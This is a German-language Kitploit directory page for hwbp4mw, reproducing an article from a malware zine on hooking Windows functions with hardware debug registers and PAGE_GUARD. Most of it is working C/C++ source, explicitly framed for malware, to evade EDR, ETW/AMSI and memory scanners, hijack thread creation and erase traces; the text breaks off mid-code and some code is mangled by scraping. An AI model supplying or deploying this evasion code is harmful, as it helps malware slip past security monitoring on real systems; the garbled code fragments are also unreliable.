Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
hwbp4mw — Hardware-Breakpoint-Hooking-Engine für Windows, die Debug-Register nutzt, um Funktionen zu hooken, ETW/AMSI zu umgehen und der EDR-Überwachung im User-Mode zu entgehen. | Kitploit
Tools/GitHubGitHub/rad9800/hwbp4mw
IDS/IPS-UmgehungDebuggerPost-ExploitationRed TeamingAdversarial-Angriff
GitHubrad9800/hwbp4mw

hwbp4mw

Hardware-Breakpoint-Hooking-Engine für Windows, die Debug-Register nutzt, um Funktionen zu hooken, ETW/AMSI zu umgehen und der EDR-Überwachung im User-Mode zu entgehen.

Repository anzeigen
273545vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Dieser Artikel war ursprünglich für VX-Underground Black Mass Halloween Edition 2022.

Hooking-Engines:

  • Multithread-sichere x86/x64-hwbp-Hooking-Engine in C
  • PAGE_GUARD/hwbp-Breakpoint-Bibliothek C++20
  • hwbp-Bibliothek (DLL-Beispiel) C++20

Generische x64-Userland-Evasionstechnik mit Debug-Registern:

  • TamperingSyscalls2 C
  • TamperingSyscalls2 C++20

Beispiel-ETW/AMSI-Hooks verfügbar

  • rad9800/misc

Hardware-Breakpoints für Malware v 1.0

Unsere Aufgabe ist es, Funktionen auf triviale Weise zu hooken und den Codefluss bei Bedarf umzuleiten, und schließlich den Hook zu entfernen, sobald er nicht mehr benötigt wird.

Wir können nicht darauf setzen, IAT-Hooks anzuwenden, da sie nicht immer aufgerufen werden und daher unzuverlässig sind. Inline-Hooking ist eine mächtige Technik; jedoch erfordert sie, dass wir den Speicher patchen, in dem sich der Code befindet. Dies ist eine mächtige Technik, aber Werkzeuge wie PE-Sieve und Moneta können den Unterschied zwischen der im Speicher residenten und der auf der Festplatte befindlichen Kopie eines Moduls erkennen und dies kennzeichnen. Das lässt uns mit dem perfekten Werkzeug für diese Aufgabe zurück: Debug-Register, obwohl sie von Malware-Autoren ziemlich unterschätzt werden!

Unter Windows ist ein Prozess, auf hoher Ebene betrachtet, im Wesentlichen eine Kapselung von Threads, und jeder dieser Threads pflegt einen Kontext, der den Zustand des Threads darstellt: die Register und den Stack usw. Debug-Register sind eine privilegierte Ressource, und das gilt auch für das Setzen derselben; Windows stellt jedoch verschiedene Syscalls bereit, die es uns ermöglichen, zu fordern, dass der Kernel eine privilegierte Aktion in unserem Namen ausführt; dies umfasst auch das Setzen von Debug-Registern, was perfekt für uns ist. NtSetThreadContext und NtGetThreadContext legen Funktionalität offen, um jeden Thread-Kontext zu ändern, für den wir ein Handle mit den erforderlichen Berechtigungen öffnen können. Wir können sehen, wie man Debug-Register mit der Win32-API setzt.```c CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);

root@kitploit:~
// set our debug information in the Dr registers

SetThreadContext(thd, &context);
root@kitploit:~
Es gibt 8 Debug-Register, von Dr0 bis Dr7. Die für uns interessanten sind nur
Dr0-3, in denen wir Adressen speichern, an denen wir anhalten möchten, und Dr6 ist nur der Debug-
Status. Am wichtigsten ist Dr7, das die Bedingungen für die Haltepunkte beschreibt, unter denen der
Prozessor eine Ausnahme auslöst. Es gibt verschiedene Einschränkungen bei der Verwendung von Debug-
Registern, wie eine begrenzte Anzahl (4) und die fehlende Anwendung auf alle Threads/neu
erzeugte Threads. Wir werden versuchen, einige dieser Einschränkungen zu beheben!

Wenn die Ausnahme ausgelöst wird, sucht sie nach einem Ausnahmehandler, den wir definieren
und in unserem Programm registrieren können [1]. In unserem definierten Ausnahmehandler möchten wir, dass unser zugehöriger
Code (verschiedene Codeabläufe) ausgeführt wird, wenn der entsprechende Haltepunkt ausgelöst wird.```c
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
	if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
	{
		// Look for our associated code flow relative to our RIP 
		if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
			HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
			return EXCEPTION_CONTINUE_EXECUTION;
		}
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

Dies wird durch eine Konstruktorfunktion erreicht, die die Zuordnung zwischen einer "Callback"-Lambda-Funktion und einer Adresse festlegt. using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;```c typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;

// Global std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };

// Create our mapping HWBP_ADDRESS_MAP[address].func = function; HWBP_ADDRESS_MAP[address].pos = pos;

root@kitploit:~
Wir müssen alle unsere Prozess-Threads durchlaufen und die entsprechenden Anpassungen am Kontext für sie vornehmen. Dies kann mithilfe der ToolHelp32-Hilfsfunktionen erreicht werden: CreateToolhelp32Snapshot und Thread32Next. Das ist nichts Besonderes, aber es geht auf eine unserer Einschränkungen ein, nämlich dass wir uns nicht an alle Threads anhängen können.```c
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
	DWORD pid{ GetCurrentProcessId() };
	HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
	if (h != INVALID_HANDLE_VALUE) {
		THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
		if (Thread32First(h, &te)) {
			do {
				if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
					sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {

					HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
					if (thd != INVALID_HANDLE_VALUE) {
						SetHWBP(thd, address, pos, init);
						CloseHandle(thd);
					}
				}
				te.dwSize = sizeof(te);
			} while (Thread32Next(h, &te));
		}
		CloseHandle(h);
	}
}

Das Setzen von Hardware-Breakpoints ist wohl verdächtig, da es auf bösartige Aktivität hindeuten kann (obwohl meines Wissens keine EDRs aktiv danach suchen). Sie können gegen uns als potenzieller IoC verwendet werden, daher müssen wir ihre Spuren entfernen, sobald wir sie nicht mehr benötigen.

Wir können dies in unserer Dekonstruktor-Funktion implementieren!! Diese wird alle Threads durchlaufen und prüfen, ob das Register (&context.Dr0)[pos] auf die Adresse zeigt, an der wir den Hardware-Breakpoint ursprünglich gesetzt haben (pos ist nur ein Index % 4, der uns Zugriff auf context.Dr0-Dr3 gibt). Wir können auch die Bedingungen im Dr7-Register entfernen. Wir müssen auch daran denken, unseren Mapping-Eintrag zu entfernen. Daher wird unser Hardware-Breakpoint nur für die erforderliche Dauer vorhanden sein!```c SetHWBPS(address, pos, false); HWBP_ADDRESS_MAP.erase(address);

root@kitploit:~
Ein Beispiel für einen Hardware-Breakpoint wäre Sleep, bei dem wir einfach die Schlafdauer
durch 0 ersetzen.```c
HWBP HWBPSleep{ (uintptr_t)&Sleep, 0,	// Set Dr 0 
	([&](PEXCEPTION_POINTERS ExceptionInfo) {
		ExceptionInfo->ContextRecord->Rcx = 0;
		ExceptionInfo->ContextRecord->EFlags |= (1 << 16);	// continue execution
}) };

Wir wissen, dass wir RCX setzen müssen, aufgrund der x64-Windows-Vier-Register-Fastcall-Aufrufkonvention[1]. Das erste Argument des Konstruktors ist die Adresse, an der angehalten werden soll, das zweite ist, in welchem Dr0- 3-Register gespeichert werden soll (beachte: Wir können gleichzeitig nur 4 Adressen als Haltepunkte verwenden), und das dritte ist eine Lambda-Funktion, die per Referenz PEXCEPTION_POINTERS erfasst, welche die Informationen sind, die ein Ausnahmehandler empfängt. Dies wird uns letztendlich ermöglichen, den Programmfluss je nach ausgelöstem Breakpoint unterschiedlich zu steuern.

Wenn ein neuer Thread erstellt wird, erbt er den zugehörigen Debug-Register-Satz nicht es sei denn, wir schaffen es irgendwie, die Erstellung eines neuen Threads abzufangen! Ein netter Trick, den wir verwenden können, wäre, die tatsächliche Startadresse zu erfassen und den neuen Thread umzuleiten, um unseren eigenen Thread zu erstellen. Die meisten neuen Threads rufen letztendlich NtCreateThreadEx auf.```c // Global Variable PVOID START_THREAD{ 0 };

// capture original start address HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx"), 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) {

root@kitploit:~
// save original thread address
START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);
// set the start address to our thread address 
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;

ExceptionInfo->ContextRecord->EFlags |= (1 << 16);

}) };

DWORD WINAPI HijackThread(LPVOID lpParameter) { typedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter);

root@kitploit:~
// Set required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
	SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}

// restore execution to original thread
return ((typeThreadProc)START_THREAD)(lpParameter);

}

root@kitploit:~
Eine Einschränkung dieser Lösung besteht darin, dass der Aufrufstapel für den Thread in unserem injizierten DLL-HijackThread entsteht und nicht im ursprünglichen Thread! Alternativ wäre eine bessere Lösung, NtCreateThreadEx selbst aufzurufen, den Thread jedoch im angehaltenen Zustand zu starten und dann die erforderlichen Hardware-Breakpoints zu setzen. Anschließend stellen wir die Ausführung wieder her, indem wir den angehaltenen Thread mit den für diesen neuen Thread gesetzten Debug-Registern fortsetzen. Dies behebt eine weitere Einschränkung bei der Verwendung von Debug-Registern.

Ein Aufruf der Anweisung, auf die wir einen Breakpoint gesetzt haben, würde eine Endlosschleife auslösen; daher deaktivieren wir vorübergehend den Hardware-Breakpoint, der für das Auslösen unserer aktuellen RIP verantwortlich ist. Sobald wir den Aufruf abgeschlossen haben, können wir ihn wiederherstellen. So können wir die ursprüngliche Funktion aufrufen (wie ein Trampolin). In diesem Fall müssen wir unsere RIP auf ein ret-Gadget zeigen lassen, damit sie zurückkehren kann und keine weitere Syscall-Anweisung ausgeführt wird.

Der 5. Parameter und alle folgenden befinden sich auf dem Stapel in 0x8-Byte-Intervallen [2]. Unser Stapel sieht ungefähr so aus, wenn wir den Breakpoint auslösen.```
                ___________________________
               |                           |
               | 0x8 + lpBytesBuffer       |
               |___________________________|
               |                           |
               | 0x8 + SizeOfStackReserve  |
               |___________________________|
               |                           |
               | 0x8 + SizeOfStackCommit   |
               |___________________________|
               |                           |
               | 0x8 + StackZeroBits       |
               |___________________________|
               |                           |
               | 0x8 + Flags               |
               |___________________________|
               |                           |
               | 0x8 + lpParameter         |
               |___________________________|
               |                           |
               | 0x8 + lpStartAddress      |
RSP + 0x28 +-> |___________________________|
               |                           |
               |                           |
               |                           |  R9  +-> (HANDLE)ProcessHandle
               | 0x20 + Shadow Store       |  R8  |-> (PVOID) ObjectAttributes
               |                           |  RDX |-> (ACCESS_MASK) DesiredAccess
               |                           |  RCX +-> (PHANDLE) hThread
               |___________________________|
               |                           |
               | 0x8 + Call Ret Addr       |  RIP +-> NtCreateThreadEx
       RSP +-> |___________________________|

root@kitploit:~
// Find our ret ROP gadget 
uintptr_t FindRetAddr(const uintptr_t function)
{
	BYTE stub[]{ 0xC3 };
	for (unsigned int i = 0; i < (unsigned int)25; i++)
	{	
		// do not worry this will be optimized
		if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {
			return (function + i);
		}
	}
	return NULL;
}

typedef LONG(NTAPI* typeNtCreateThreadEx)(
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN PVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID lpStartAddress,
	IN PVOID lpParameter,
	IN ULONG Flags,
	IN SIZE_T StackZeroBits,
	IN SIZE_T SizeOfStackCommit,
	IN SIZE_T SizeOfStackReserve,
	OUT PVOID lpBytesBuffer
); 

HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"),
										  "NtCreateThreadEx"), 1,
	([&](PEXCEPTION_POINTERS ExceptionInfo) {

		// temporary disable of NtCreateThreadEx in our current thread.
		for (auto& i : HWBP_ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {	
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
			}
		}

		// create the original thread BUT suspended 
		// THREAD_CREATE_FLAGS_CREATE_SUSPENDED == 0x00000001
		// ( Flags | THREAD_CREATE_FLAGS_CREATE_SUSPENDED)
		LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
			(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
			(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
			(PVOID)ExceptionInfo->ContextRecord->R8,
			(HANDLE)ExceptionInfo->ContextRecord->R9,
			(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
			(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
			(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
			(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
			(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
			(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
			(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
		);


		CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };

		GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
			&context);
		
		// Setup required HWBP
		for (auto& i : HWBP_ADDRESS_MAP) {
			(&context.Dr0)[i.second.pos] = i.first;

			context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
			context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
			context.Dr7 |= 1ull << (2 * i.second.pos);
		}

		SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
			&context);

		ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));

		// restore our HWBP on NtCreateThreadEx
		for (auto& i : HWBP_ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {	
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
			}
		}
		
		// RAX contains the return value.
		ExceptionInfo->ContextRecord->Rax = status;

		// Set RIP to a ret gadget to avoid creating 
		// another new thread (skip syscall instruction) 
		ExceptionInfo->ContextRecord->Rip = 
			FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };

Ich teile eine Hardware-Breakpoint-Hooking-Engine, die du verwenden kannst und die in C++ geschrieben ist. Das Beispiel-Hardware-Breakpoint setzt einen Breakpoint in Dr0 auf der sleep-Funktion und setzt den ersten Wert (in RCX) auf 0, wodurch alle Sleeps übersprungen werden. Um diesen Breakpoint in allen zukünftigen neuen Threads zu setzen, kannst du das obige Beispiel verwenden, das Dr1 nutzt.```c ////////////////////////////////////////////////////////////////////////////////////////// /* HWBPP.cpp - @rad9800 / / C++ Hardware Breakpoint Library (DLL example) */ ////////////////////////////////////////////////////////////////////////////////////////// // dllmain.cpp : Defines the entry point for the DLL application. // /std:c++20 #include "pch.h" #include <windows.h>

#include <tlhelp32.h> #include

using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;

////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;

////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };

////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);

root@kitploit:~
if (init) {
	(&context.Dr0)[pos] = address;

	context.Dr7 &= ~(3ull << (16 + 4 * pos));
	context.Dr7 &= ~(3ull << (18 + 4 * pos));
	context.Dr7 |= 1ull << (2 * pos);
}
else {
	if ((&context.Dr0)[pos] == address) {
		context.Dr7 &= ~(1ull << (2 * pos));
		(&context.Dr0)[pos] = NULL;
	}
}

SetThreadContext(thd, &context);

}

VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {

root@kitploit:~
				const HANDLE thd = 
								OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
				if (thd != INVALID_HANDLE_VALUE) {
					SetHWBP(thd, address, pos, init);
					CloseHandle(thd);
				}
			}
			te.dwSize = sizeof(te);
		} while (Thread32Next(h, &te));
	}
	CloseHandle(h);
}

}

////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }

////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address } , pos{idx % 4} { SetHWBPS(address, pos);

root@kitploit:~
	HWBP_ADDRESS_MAP[address].func = function;
	HWBP_ADDRESS_MAP[address].pos = pos;
};

VOID RemoveHWBPS()
{
	SetHWBPS(address, pos, false);
	HWBP_ADDRESS_MAP.erase(address);
}

~HWBP()
{
	RemoveHWBPS();
}

private: const uintptr_t address; UINT pos; };

// Global Scope HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, ([&](PEXCEPTION_POINTERS ExceptionInfo) { ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->EFlags |= (1 << 16); }) }; ////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// extern "C" BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { HANDLE handler = NULL; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { handler = AddVectoredExceptionHandler(1, ExceptionHandler); }; break; case DLL_THREAD_ATTACH: { } break; case DLL_THREAD_DETACH: {

root@kitploit:~
}; break;
case DLL_PROCESS_DETACH: {
	if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}; break;
}
return TRUE;

}

////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////

root@kitploit:~
Wie wir bereits erörtert haben, ist das Beibehalten eines Debug-Registersatzes eine schlechte Praxis. Daher werden wir unsere Verwendung von Debug-Registern durch PAGE_GUARD-Hooks ergänzen, was es uns ermöglicht, eines der Debug-Register freizugeben: Dr1 (verwendet für NtCreateThreadEx).

PAGE_GUARDs sind im Wesentlichen ein einmaliger Speicherschutz, der eine Ausnahme auslöst. Sie werden auf Seiten auf der niedrigsten Ebene der im System vorhandenen Zuordnungsgranularität angewendet (was sich manchmal als Hindernis erweisen kann). PAGE_GUARD-Hooking ist nichts Neues, aber wir können es nutzen, um einige unserer Einschränkungen zu beheben. Wir werden unseren PAGE_GUARD zunächst auf die Adresse anwenden, und der PAGE_GUARD wird durch das Auslösen einer PAGE_GUARD_VIOLATION ausgelöst.

VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);

Wir können dasselbe Konzept anwenden, ein Lambda zuzuordnen, das an einer bestimmten Adresse ausgelöst wird. Wir werden die Funktionsanweisungen auf unserer aktuellen Seite im Einzelschritt durchgehen, während wir den PAGE_GUARD erneut anwenden. Dies ist offensichtlich relativ langsam, hat aber den Vorteil, kein Debug-Register zu reservieren. Aus dem Hauptgrund, dass sie langsam sind, haben wir uns gegen ihre primäre Verwendung entschieden.```c
typedef struct {
	EXCEPTION_FUNC								func;
} PG_CALLBACK;

std::unordered_map<uintptr_t, PG_CALLBACK>	PG_ADDRESS_MAP{ 0 };

PG_ADDRESS_MAP[address].func = function;

Um die Debug-Register-Hooks auf neue Threads anzuwenden, können wir einfach das vorherige Beispiel des Hookings von NtCreateThreadEx kopieren, aber die Schleifen entfernen, in denen wir die HWBPs für unseren aktuellen Thread deaktivieren und wiederherstellen.

Wir können das zweite Codebeispiel einführen, in dem wir den oben erwähnten Hook von NtCreateThreadEx mit PAGE_GUARDs durchführen. Wie zuvor entfernt unsere Dekonstruktorfunktion den Eintrag in unserem Mapping und entfernt die Schutzmechanismen (falls gesetzt).```c

////////////////////////////////////////////////////////////////////////////////////////// /* DRPGG.cpp - @rad9800 */ ////////////////////////////////////////////////////////////////////////////////////////// #include <windows.h>

#include <tlhelp32.h> #include // std::function

using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;

////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;

typedef struct { EXCEPTION_FUNC func; } PG_CALLBACK;

typedef LONG(NTAPI* typeNtCreateThreadEx)( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer );

////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 }; std::unordered_map<uintptr_t, PG_CALLBACK> PG_ADDRESS_MAP{ 0 };

////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// // Find our ret ROP gadget uintptr_t FindRetAddr(const uintptr_t function) { BYTE stub[]{ 0xC3 }; for (unsigned int i = 0; i < (unsigned int)25; i++) { if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) { return (function + i); } } return NULL; }

VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);

root@kitploit:~
if (init) {
    (&context.Dr0)[pos] = address;

    context.Dr7 &= ~(3ull << (16 + 4 * pos));
    context.Dr7 &= ~(3ull << (18 + 4 * pos));
    context.Dr7 |= 1ull << (2 * pos);
}
else {
    if ((&context.Dr0)[pos] == address) {
        context.Dr7 &= ~(1ull << (2 * pos));
        (&context.Dr0)[pos] = NULL;
    }
}

SetThreadContext(thd, &context);

}

VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {

root@kitploit:~
                const HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
                if (thd != INVALID_HANDLE_VALUE) {
                    SetHWBP(thd, address, pos, init);
                    CloseHandle(thd);
                }
            }
            te.dwSize = sizeof(te);
        } while (Thread32Next(h, &te));
    }
    CloseHandle(h);
}

}

////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { DWORD old = 0; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) { if (PG_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { PG_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); } ExceptionInfo->ContextRecord->EFlags |= (1 << 8); return EXCEPTION_CONTINUE_EXECUTION; } else if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } for (const auto& i : PG_ADDRESS_MAP) { VirtualProtect((LPVOID)i.first, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }

DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); Sleep(500000);

root@kitploit:~
return 0;

}

////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address }, pos{ idx % 4 } { SetHWBPS(address, pos);

root@kitploit:~
    HWBP_ADDRESS_MAP[address].func = function;
    HWBP_ADDRESS_MAP[address].pos = pos;
};

VOID RemoveHWBPS()
{
    SetHWBPS(address, pos, false);
    HWBP_ADDRESS_MAP.erase(address);
}

~HWBP()
{
    RemoveHWBPS();
}

private: const uintptr_t address; UINT pos; };

template struct PGBP { public: PGBP(const uintptr_t address, const HANDLER function) : old{ 0 }, address{ address } {

root@kitploit:~
    VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);

    PG_ADDRESS_MAP[address].func = function;
}

VOID RemovePGEntry()
{
    VirtualProtect((LPVOID)address, 1, old, &old);
    PG_ADDRESS_MAP.erase(address);
}

~PGBP()
{
    RemovePGEntry();
}

private: DWORD old; const uintptr_t address; };

////////////////////////////////////////////////////////////////////////////////////////// /* Entry Point */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler{ AddVectoredExceptionHandler(1, ExceptionHandler) };

root@kitploit:~
HWBP HWBPSleep{
    (uintptr_t)&Sleep,
    1,
    ([&](PEXCEPTION_POINTERS ExceptionInfo) {
        printf("Sleeping %lld\n", ExceptionInfo->ContextRecord->Rcx);
        ExceptionInfo->ContextRecord->Rcx = 0;
        ExceptionInfo->ContextRecord->EFlags |= (1 << 16);    // continue execution
}) };


PGBP VEHNtCreateThreadEx{
    (uintptr_t)GetProcAddress(
        GetModuleHandle(L"NTDLL.dll"),
        "NtCreateThreadEx"
    ),
([&](PEXCEPTION_POINTERS ExceptionInfo) {

        // create a new thread suspended
        LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
            (PHANDLE)ExceptionInfo->ContextRecord->Rcx,
            (ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
            (PVOID)ExceptionInfo->ContextRecord->R8,
            (HANDLE)ExceptionInfo->ContextRecord->R9,
            (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
            (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
            (ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
            (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
            (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
            (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
            (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
        );

        CONTEXT context{ 0 };
        context.ContextFlags = CONTEXT_DEBUG_REGISTERS;

        GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
            &context);

        for (auto& i : HWBP_ADDRESS_MAP) {
            (&context.Dr0)[i.second.pos] = i.first;

            context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
            context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
            context.Dr7 |= 1ull << (2 * i.second.pos);
        }

